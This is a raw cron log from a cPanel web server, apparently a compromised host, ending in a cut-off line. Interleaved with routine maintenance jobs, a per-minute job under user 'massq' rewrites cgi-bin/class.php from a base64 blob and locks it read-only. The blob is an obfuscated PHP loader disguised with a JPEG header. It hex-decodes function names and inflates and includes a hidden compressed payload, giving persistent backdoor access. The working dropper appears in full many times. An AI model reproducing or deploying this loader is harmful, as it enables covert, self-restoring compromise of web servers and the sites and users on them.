Sep  9 00:51:01 server CROND[18758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:51:01 server CROND[18759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:52:01 server CROND[19525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:52:01 server CROND[19526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:52:01 server CROND[19527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:53:01 server CROND[20543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:53:01 server CROND[20544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:53:01 server CROND[20545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:54:01 server CROND[21602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:54:01 server CROND[21603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:54:01 server CROND[21604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:55:01 server CROND[22566]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:55:01 server CROND[22567]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:55:01 server CROND[22568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:55:01 server CROND[22569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:55:01 server CROND[22570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:55:01 server CROND[22571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:55:01 server CROND[22572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:56:01 server CROND[23492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:56:01 server CROND[23493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:56:01 server CROND[23494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:57:01 server CROND[23885]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 00:57:01 server CROND[23886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:57:01 server CROND[23887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:57:01 server CROND[23888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:58:01 server CROND[24275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:58:01 server CROND[24276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:58:01 server CROND[24282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:59:01 server CROND[24748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:59:01 server CROND[24750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:59:01 server CROND[24749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:00:01 server CROND[25170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:00:01 server CROND[25172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:00:01 server CROND[25176]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 01:00:01 server CROND[25177]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:00:01 server CROND[25182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:00:01 server CROND[25178]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:00:01 server CROND[25180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:00:01 server CROND[25181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:00:01 server CROND[25179]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:01:01 server CROND[26011]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 01:01:01 server CROND[26013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:01:01 server CROND[26014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:01:01 server CROND[26016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:01:01 server run-parts(/etc/cron.hourly)[26011]: starting 0anacron
Sep  9 01:01:01 server anacron[26031]: Anacron started on 2026-09-09
Sep  9 01:01:01 server anacron[26031]: Normal exit (0 jobs run)
Sep  9 01:01:01 server run-parts(/etc/cron.hourly)[26033]: finished 0anacron
Sep  9 01:02:01 server CROND[26404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:02:01 server CROND[26405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:02:01 server CROND[26406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:03:01 server CROND[26792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:03:01 server CROND[26794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 